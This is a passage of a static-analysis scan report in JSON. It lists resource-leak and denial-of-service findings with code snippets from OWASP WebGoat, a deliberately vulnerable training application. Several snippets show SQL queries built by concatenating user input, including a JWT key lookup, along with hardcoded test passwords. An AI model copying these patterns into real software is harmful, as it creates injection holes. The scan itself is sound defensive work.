webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/client_side_filtering/Salaries.java\nStartLine: 70, EndLine: 76\nCode:\n@RequestMapping(produces = {\"application/json\"})\n    @ResponseBody\n    public List<Map<String, Object>> invoke() throws ServletException, IOException {\n        NodeList nodes = null;\n        File d = new File(webGoatHomeDirectory, \"ClientSideFiltering/employees.xml\");\n        XPathFactory factory = XPathFactory.newInstance();\n        XPath xPath = factory.newXPath();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/client_side_filtering/Salaries.java\nStartLine: 87, EndLine: 93\nCode:\nString expression = sb.toString();\n\n        try {\n            nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);\n        } catch (XPathExpressionException e) {\n            e.printStackTrace();\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/client_side_filtering/Salaries.java\nStartLine: 94, EndLine: 100\nCode:\nint COLUMNS = 5;\n        List json = Lists.newArrayList();\n        java.util.Map<String, Object> employeeJson = Maps.newHashMap();\n        for (int i = 0; i < nodes.getLength(); i++) {\n            if (i % COLUMNS == 0) {\n                employeeJson = Maps.newHashMap();\n                json.add(employeeJson);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\nStartLine: 115, EndLine: 121\nCode:\n}\n\n    static void createChallengeTable(Connection connection) {\n        Statement statement = null;\n        try {\n            statement = connection.createStatement();\n            String dropTable = \"DROP TABLE \" + USERS_TABLE_NAME;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\nStartLine: 117, EndLine: 123\nCode:\nstatic void createChallengeTable(Connection connection) {\n        Statement statement = null;\n        try {\n            statement = connection.createStatement();\n            String dropTable = \"DROP TABLE \" + USERS_TABLE_NAME;\n            statement.executeUpdate(dropTable);\n        } catch (SQLException e) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\nStartLine: 130, EndLine: 136\nCode:\n+ \"email varchar(30),\"\n                    + \"password varchar(30)\"\n                    + \")\";\n            statement.executeUpdate(createTableStatement);\n\n            String insertData1 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('larry', 'larry@webgoat.org', 'larryknows')\";\n            String insertData2 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('tom', 'tom@webgoat.org', '\" + PASSWORD_TOM + \"')\";","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 98, EndLine: 104\nCode:\n}\n\n    private void createChallengeTable(Connection connection) {\n        Statement statement = null;\n        try {\n            statement = connection.createStatement();\n            String dropTable = \"DROP TABLE \" + USERS_TABLE_NAME;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 100, EndLine: 106\nCode:\nprivate void createChallengeTable(Connection connection) {\n        Statement statement = null;\n        try {\n            statement = connection.createStatement();\n            String dropTable = \"DROP TABLE \" + USERS_TABLE_NAME;\n            statement.executeUpdate(dropTable);\n        } catch (SQLException e) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 113, EndLine: 119\nCode:\n+ \"email varchar(30),\"\n                    + \"password varchar(30)\"\n                    + \")\";\n            statement.executeUpdate(createTableStatement);\n\n            String insertData1 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('larry', 'larry@webgoat.org', 'larryknows')\";\n            String insertData2 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('tom', 'tom@webgoat.org', '\" + PASSWORD_TOM + \"')\";","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 84, EndLine: 90\nCode:\n}\n\n    private void createChallengeTable(Connection connection) {\n        Statement statement = null;\n        try {\n            statement = connection.createStatement();\n            String dropTable = \"DROP TABLE \" + USERS_TABLE_NAME;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 86, EndLine: 92\nCode:\nprivate void createChallengeTable(Connection connection) {\n        Statement statement = null;\n        try {\n            statement = connection.createStatement();\n            String dropTable = \"DROP TABLE \" + USERS_TABLE_NAME;\n            statement.executeUpdate(dropTable);\n        } catch (SQLException e) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 99, EndLine: 105\nCode:\n+ \"email varchar(30),\"\n                    + \"password varchar(30)\"\n                    + \")\";\n            statement.executeUpdate(createTableStatement);\n\n            String insertData1 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('larry', 'larry@webgoat.org', 'larryknows')\";\n            String insertData2 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('tom', 'tom@webgoat.org', '\" + PASSWORD_TOM + \"')\";","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SC-5","Rev_4"]}},{"id":"24023E22-D6C7-4D5C-B049-38B7EFC8B408","desc":"<Content>Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.\n\n<b>Example 1:</b> The following code allows a user to specify the amount of time for which a thread will sleep. By specifying a large number, an attacker may tie up the thread indefinitely. With a small number of requests, the attacker may deplete the application's thread pool.\n\n<pre>\n  int usrSleepTime = Integer.parseInt(usrInput);\n  Thread.sleep(usrSleepTime);\n</pre>\n\n<b>Example 2:</b> The following code reads a String from a zip file. Because it uses the <code>readLine()</code> method, it will read an unbounded amount of input. An attacker may take advantage of this code to cause an <code>OutOfMemoryException</code> or to consume a large amount of memory so that the program spends more time performing garbage collection or runs out of memory during some subsequent operation.\n\n<pre>\n  InputStream zipInput = zipFile.getInputStream(zipEntry);\n  Reader zipReader = new InputStreamReader(zipInput);\n  BufferedReader br = new BufferedReader(zipReader);\n  String line = br.readLine();\n</pre></Content>","title":"<Content><Paragraph>The call to <Replace key=\"PrimaryCall.name\"/> at <Replace key=\"PrimaryLocation.file\"/> line <Replace key=\"PrimaryLocation.line\"/> might allow an attacker to crash the program or otherwise make it unavailable to legitimate users.<AltParagraph>An attacker could cause the program to crash or otherwise become unavailable to legitimate users.</AltParagraph></Paragraph></Content>","impact":0.4,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/insecure-deserialization/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java\nStartLine: 57, EndLine: 63\nCode:\nBufferedReader in = new BufferedReader(\n                                new InputStreamReader(p.getInputStream()));\n            String line = null;\n            while ((line = in.readLine()) != null) {\n                System.out.println(line);\n            }\n        } catch (IOException e) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask2.java\nStartLine: 59, EndLine: 65\nCode:\nBufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));\n                String inputLine;\n\n                while ((inputLine = in.readLine()) != null) {\n                    html.append(inputLine);\n                }\n                in.close();","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SC-5","Rev_4"]}},{"id":"789BB115-AAF5-4C03-BBC2-C4CFCC74C13A","desc":"<Content>Resource leaks have at least two common causes:\n\n- Error conditions and other exceptional circumstances.\n\n- Confusion over which part of the program is responsible for releasing the resource.\n\nMost unreleased resource issues result in general software reliability problems. However, if an attacker can intentionally trigger a resource leak, the attacker may be able to launch a denial of service attack by depleting the resource pool.\n\n<b>Example:</b> Under normal conditions, the following code executes a database query, processes the results returned by the database, and closes the allocated statement object. But if an exception occurs while executing the SQL or processing the results, the statement object will not be closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.\n<pre>\n  Statement stmt = conn.createStatement();\n  ResultSet rs = stmt.executeQuery(CXN_SQL);\n  harvestResults(rs);\n  stmt.close();\n</pre>\nIn this case, there are program paths on which a ResultSet is not released.</Content>","title":"<Content><Paragraph>The function <Replace key=\"EnclosingFunction.name\"/> in <Replace key=\"PrimaryLocation.file\"/> sometimes fails to release a database resource allocated by <Replace key=\"FirstTransitionFunction\"/> on line <Replace key=\"FirstTraceLocation.line\"/>.<AltParagraph>The program can potentially fail to release a database resource.</AltParagraph></Paragraph></Content>","impact":0.6,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 38, EndLine: 44\nCode:\npublic AttackResult registerNewUser(@RequestParam String username_reg, @RequestParam String email_reg, @RequestParam String password_reg) throws Exception {\n        AttackResult attackResult = checkArguments(username_reg, email_reg, password_reg);\n\n        if (attackResult == null) {\n            Connection connection = DatabaseUtilities.getConnection(webSession);\n            checkDatabase(connection);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 39, EndLine: 45\nCode:\nAttackResult attackResult = checkArguments(username_reg, email_reg, password_reg);\n\n        if (attackResult == null) {\n            Connection connection = DatabaseUtilities.getConnection(webSession);\n            checkDatabase(connection);\n\n            String checkUserQuery = \"select userid from \" + USERS_TABLE_NAME + \" where userid = '\" + username_reg + \"'\";","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 44, EndLine: 50\nCode:\nString checkUserQuery = \"select userid from \" + USERS_TABLE_NAME + \" where userid = '\" + username_reg + \"'\";\n            Statement statement = connection.createStatement();\n            ResultSet resultSet = statement.executeQuery(checkUserQuery);\n\n            if (resultSet.next()) {\n                attackResult = failed().feedback(\"user.exists\").feedbackArgs(username_reg).build();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 56, EndLine: 62\nCode:\npreparedStatement.execute();\n                attackResult = success().feedback(\"user.created\").feedbackArgs(username_reg).build();\n            }\n        }\n        return attackResult;\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 46, EndLine: 52\nCode:\nStatement statement = connection.createStatement();\n            ResultSet resultSet = statement.executeQuery(checkUserQuery);\n\n            if (resultSet.next()) {\n                attackResult = failed().feedback(\"user.exists\").feedbackArgs(username_reg).build();\n            } else {\n                PreparedStatement preparedStatement = connection.prepareStatement(\"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES (?, ?, ?)\");","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 49, EndLine: 55\nCode:\nif (resultSet.next()) {\n                attackResult = failed().feedback(\"user.exists\").feedbackArgs(username_reg).build();\n            } else {\n                PreparedStatement preparedStatement = connection.prepareStatement(\"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES (?, ?, ?)\");\n                preparedStatement.setString(1, username_reg);\n                preparedStatement.setString(2, email_reg);\n                preparedStatement.setString(3, password_reg);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 50, EndLine: 56\nCode:\nattackResult = failed().feedback(\"user.exists\").feedbackArgs(username_reg).build();\n            } else {\n                PreparedStatement preparedStatement = connection.prepareStatement(\"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES (?, ?, ?)\");\n                preparedStatement.setString(1, username_reg);\n                preparedStatement.setString(2, email_reg);\n                preparedStatement.setString(3, password_reg);\n                preparedStatement.execute();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 51, EndLine: 57\nCode:\n} else {\n                PreparedStatement preparedStatement = connection.prepareStatement(\"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES (?, ?, ?)\");\n                preparedStatement.setString(1, username_reg);\n                preparedStatement.setString(2, email_reg);\n                preparedStatement.setString(3, password_reg);\n                preparedStatement.execute();\n                attackResult = success().feedback(\"user.created\").feedbackArgs(username_reg).build();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 52, EndLine: 58\nCode:\nPreparedStatement preparedStatement = connection.prepareStatement(\"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES (?, ?, ?)\");\n                preparedStatement.setString(1, username_reg);\n                preparedStatement.setString(2, email_reg);\n                preparedStatement.setString(3, password_reg);\n                preparedStatement.execute();\n                attackResult = success().feedback(\"user.created\").feedbackArgs(username_reg).build();\n            }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 53, EndLine: 59\nCode:\npreparedStatement.setString(1, username_reg);\n                preparedStatement.setString(2, email_reg);\n                preparedStatement.setString(3, password_reg);\n                preparedStatement.execute();\n                attackResult = success().feedback(\"user.created\").feedbackArgs(username_reg).build();\n            }\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\nStartLine: 46, EndLine: 52\nCode:\nString query = \"SELECT * FROM access_log WHERE action LIKE '%\" + action + \"%'\";\n\n        try {\n            Connection connection = DatabaseUtilities.getConnection(getWebSession());\n\n            try {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\nStartLine: 49, EndLine: 55\nCode:\nConnection connection = DatabaseUtilities.getConnection(getWebSession());\n\n            try {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n                ResultSet results = statement.executeQuery(query);\n\n                if (results.getStatement() != null) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\nStartLine: 50, EndLine: 56\nCode:\ntry {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n                ResultSet results = statement.executeQuery(query);\n\n                if (results.getStatement() != null) {\n                    results.first();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\nStartLine: 65, EndLine: 71\nCode:\n}\n                }\n            } catch (SQLException e) {\n                if (tableExists(connection)) {\n                    return trackProgress(failed().feedback(\"sql-injection.error\").output(\"<span class='feedback-negative'>\" + e.getMessage() + \"</span><br>\" + output.toString()).build());\n                }\n                else {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\nStartLine: 66, EndLine: 72\nCode:\n}\n            } catch (SQLException e) {\n                if (tableExists(connection)) {\n                    return trackProgress(failed().feedback(\"sql-injection.error\").output(\"<span class='feedback-negative'>\" + e.getMessage() + \"</span><br>\" + output.toString()).build());\n                }\n                else {\n                    return trackProgress(success().feedback(\"sql-injection.10.success\").build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\nStartLine: 69, EndLine: 75\nCode:\nreturn trackProgress(failed().feedback(\"sql-injection.error\").output(\"<span class='feedback-negative'>\" + e.getMessage() + \"</span><br>\" + output.toString()).build());\n                }\n                else {\n                    return trackProgress(success().feedback(\"sql-injection.10.success\").build());\n                }\n            }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson3.java\nStartLine: 44, EndLine: 50\nCode:\nprotected AttackResult injectableQuery(String _query) {\n        try {\n            Connection connection = DatabaseUtilities.getConnection(getWebSession());\n            String query = _query;\n\n            try {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson3.java\nStartLine: 53, EndLine: 59\nCode:\nStatement check_statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                        ResultSet.CONCUR_READ_ONLY);\n                statement.executeUpdate(_query);\n                ResultSet _results = check_statement.executeQuery(\"SELECT * FROM employees WHERE last_name='Barnett';\");\n                StringBuffer output = new StringBuffer();\n                // user completes lesson if the department of Tobi Barnett now is 'Sales'\n                _results.first();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson3.java\nStartLine: 56, EndLine: 62\nCode:\nResultSet _results = check_statement.executeQuery(\"SELECT * FROM employees WHERE last_name='Barnett';\");\n                StringBuffer output = new StringBuffer();\n                // user completes lesson if the department of Tobi Barnett now is 'Sales'\n                _results.first();\n                if (_results.getString(\"department\").equals(\"Sales\")) {\n                    output.append(\"<span class='feedback-positive'>\" + _query + \"</span>\");\n                    output.append(SqlInjectionLesson8.generateTable(_results));","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson3.java\nStartLine: 67, EndLine: 73\nCode:\n} catch (SQLException sqle) {\n\n                return trackProgress(failed().output(sqle.getMessage()).build());\n            }\n        } catch (Exception e) {\n            return trackProgress(failed().output(this.getClass().getName() + \" : \" + e.getMessage()).build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson3.java\nStartLine: 57, EndLine: 63\nCode:\nStringBuffer output = new StringBuffer();\n                // user completes lesson if the department of Tobi Barnett now is 'Sales'\n                _results.first();\n                if (_results.getString(\"department\").equals(\"Sales\")) {\n                    output.append(\"<span class='feedback-positive'>\" + _query + \"</span>\");\n                    output.append(SqlInjectionLesson8.generateTable(_results));\n                    return trackProgress(success().output(output.toString()).build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson3.java\nStartLine: 60, EndLine: 66\nCode:\nif (_results.getString(\"department\").equals(\"Sales\")) {\n                    output.append(\"<span class='feedback-positive'>\" + _query + \"</span>\");\n                    output.append(SqlInjectionLesson8.generateTable(_results));\n                    return trackProgress(success().output(output.toString()).build());\n                } else {\n                    return trackProgress(failed().output(output.toString()).build());\n                }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson3.java\nStartLine: 62, EndLine: 68\nCode:\noutput.append(SqlInjectionLesson8.generateTable(_results));\n                    return trackProgress(success().output(output.toString()).build());\n                } else {\n                    return trackProgress(failed().output(output.toString()).build());\n                }\n\n            } catch (SQLException sqle) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 73, EndLine: 79\nCode:\n@PostMapping(\"/challenge/6\")\n    @ResponseBody\n    public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {\n        Connection connection = DatabaseUtilities.getConnection(webSession);\n        checkDatabase(connection);\n\n        PreparedStatement statement = connection.prepareStatement(\"select password from \" + USERS_TABLE_NAME + \" where userid = ? and password = ?\");","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 79, EndLine: 85\nCode:\nPreparedStatement statement = connection.prepareStatement(\"select password from \" + USERS_TABLE_NAME + \" where userid = ? and password = ?\");\n        statement.setString(1, username_login);\n        statement.setString(2, password_login);\n        ResultSet resultSet = statement.executeQuery();\n\n        if (resultSet.next() && \"tom\".equals(username_login)) {\n            return success().feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(6)).build();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 81, EndLine: 87\nCode:\nstatement.setString(2, password_login);\n        ResultSet resultSet = statement.executeQuery();\n\n        if (resultSet.next() && \"tom\".equals(username_login)) {\n            return success().feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(6)).build();\n        } else {\n            return failed().feedback(\"challenge.close\").build();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 84, EndLine: 90\nCode:\nif (resultSet.next() && \"tom\".equals(username_login)) {\n            return success().feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(6)).build();\n        } else {\n            return failed().feedback(\"challenge.close\").build();\n        }\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 82, EndLine: 88\nCode:\nResultSet resultSet = statement.executeQuery();\n\n        if (resultSet.next() && \"tom\".equals(username_login)) {\n            return success().feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(6)).build();\n        } else {\n            return failed().feedback(\"challenge.close\").build();\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTFinalEndpoint.java\nStartLine: 93, EndLine: 99\nCode:\npublic byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {\n                        final String kid = (String) header.get(\"kid\");\n                        try {\n                            Connection connection = DatabaseUtilities.getConnection(webSession);\n                            ResultSet rs = connection.createStatement().executeQuery(\"SELECT key FROM jwt_keys WHERE id = '\" + kid + \"'\");\n                            while (rs.next()) {\n                                return TextCodec.BASE64.decode(rs.getString(1));","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTFinalEndpoint.java\nStartLine: 94, EndLine: 100\nCode:\nfinal String kid = (String) header.get(\"kid\");\n                        try {\n                            Connection connection = DatabaseUtilities.getConnection(webSession);\n                            ResultSet rs = connection.createStatement().executeQuery(\"SELECT key FROM jwt_keys WHERE id = '\" + kid + \"'\");\n                            while (rs.next()) {\n                                return TextCodec.BASE64.decode(rs.getString(1));\n                            }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTFinalEndpoint.java\nStartLine: 95, EndLine: 101\nCode:\ntry {\n                            Connection connection = DatabaseUtilities.getConnection(webSession);\n                            ResultSet rs = connection.createStatement().executeQuery(\"SELECT key FROM jwt_keys WHERE id = '\" + kid + \"'\");\n                            while (rs.next()) {\n                                return TextCodec.BASE64.decode(rs.getString(1));\n                            }\n                        } catch (SQLException e) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTFinalEndpoint.java\nStartLine: 96, EndLine: 102\nCode:\nConnection connection = DatabaseUtilities.getConnection(webSession);\n                            ResultSet rs = connection.createStatement().executeQuery(\"SELECT key FROM jwt_keys WHERE id = '\" + kid + \"'\");\n                            while (rs.next()) {\n                                return TextCodec.BASE64.decode(rs.getString(1));\n                            }\n                        } catch (SQLException e) {\n                            errorMessage[0] = e.getMessage();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTFinalEndpoint.java\nStartLine: 98, EndLine: 104\nCode:\nwhile (rs.next()) {\n                                return TextCodec.BASE64.decode(rs.getString(1));\n                            }\n                        } catch (SQLException e) {\n                            errorMessage[0] = e.getMessage();\n                        }\n                        return null;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallengeLogin.java\nStartLine: 42, EndLine: 48\nCode:\n@PostMapping(\"/SqlInjectionAdvanced/challenge_Login\")\n  @ResponseBody\n  public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {\n    Connection connection = DatabaseUtilities.getConnection(webSession);\n    SqlInjectionChallenge.checkDatabase(connection);\n\n    PreparedStatement statement = connection.prepareStatement(\"select password from \" + SqlInjectionChallenge.USERS_TABLE_NAME + \" where userid = ? and password = ?\");","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallengeLogin.java\nStartLine: 48, EndLine: 54\nCode:\nPreparedStatement statement = connection.prepareStatement(\"select password from \" + SqlInjectionChallenge.USERS_TABLE_NAME + \" where userid = ? and password = ?\");\n    statement.setString(1, username_login);\n    statement.setString(2, password_login);\n    ResultSet resultSet = statement.executeQuery();\n\n    if (resultSet.next()) {\n        return (\"tom\".equals(username_login)) ? trackProgress(success().build())","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallengeLogin.java\nStartLine: 50, EndLine: 56\nCode:\nstatement.setString(2, password_login);\n    ResultSet resultSet = statement.executeQuery();\n\n    if (resultSet.next()) {\n        return (\"tom\".equals(username_login)) ? trackProgress(success().build())\n        \t\t: success().feedback(\"ResultsButNotTom\").build();\n    } else {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallengeLogin.java\nStartLine: 51, EndLine: 57\nCode:\nResultSet resultSet = statement.executeQuery();\n\n    if (resultSet.next()) {\n        return (\"tom\".equals(username_login)) ? trackProgress(success().build())\n        \t\t: success().feedback(\"ResultsButNotTom\").build();\n    } else {\n      return failed().feedback(\"NoResultsMatched\").build();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallengeLogin.java\nStartLine: 54, EndLine: 60\nCode:\nreturn (\"tom\".equals(username_login)) ? trackProgress(success().build())\n        \t\t: success().feedback(\"ResultsButNotTom\").build();\n    } else {\n      return failed().feedback(\"NoResultsMatched\").build();\n    }\n  }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java\nStartLine: 48, EndLine: 54\nCode:\nprotected HashMap<Integer, HashMap> getUsers() {\n\n        try {\n            